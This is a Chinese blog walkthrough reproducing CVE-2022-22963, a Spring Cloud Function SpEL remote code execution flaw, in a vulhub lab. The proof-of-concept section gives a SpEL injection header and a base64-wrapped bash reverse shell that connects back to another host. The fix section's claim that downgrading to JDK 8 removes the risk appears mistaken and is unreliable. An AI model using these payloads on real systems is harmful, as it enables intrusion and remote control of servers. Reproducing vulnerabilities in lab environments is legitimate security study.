CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现

目录

0x01 声明:

0x02 简介:

0x03 漏洞概述:

0x04 影响版本:

0x05 环境搭建:

Docker环境:

漏洞环境:

0x06 漏洞复现

0x07 流量分析:

0x08 修复建议:


0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        SpringCloud 是一套分布式系统的解决方案,实现就是函数式编程,在视频转码、音视频转换、数据仓库ETL等与状态相关度低的领域运用的比较多。开发者无需关注服务器环境运维等问题上,专注于自身业务逻辑实现即可。

0x03 漏洞概述:

        在Spring Cloud Function版本3.1.6,3.2.2和更早的不受支持的版本中,当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,这可能导致远程执行代码和访问本地资源。

0x04 影响版本:

        3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

0x05 环境搭建:

        Docker环境:

         参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客

        漏洞环境:

               1、下载vulhub(Vulhub环境压缩包-网络安全文档类资源-CSDN文库

       (GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

                2、进入vulhub/spring/CVE-2022-22963环境

                

                3、启动docker环境

                 4、访问系统(这是一个报错页面不用关系)

0x06 漏洞复现

        访问时用Burp拦截。

         利用POC:

                修改请求方式:

​POST /functionRouter HTTP/1.1

                添加请求体内容:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")

xxxx:(为要执行的命令)

                如图:

                 上面执行的为反弹shell命令,经过base64加密之后的内容:(不加密无法成功的)

bash -c {echo,xxx}|{base64,-d}|{bash,-i}

                        ||(Base64)

bash -i >& /dev/tcp/192.168.16.129/1234 0>&1   

结果:

0x07 流量分析:

        请求特征:

0x08 修复建议:

        1、安装官方的补丁

        2、降级到 JDK 8 或更低版本,这将消除被攻击的可能性。

  • 7
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Evan Kang

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值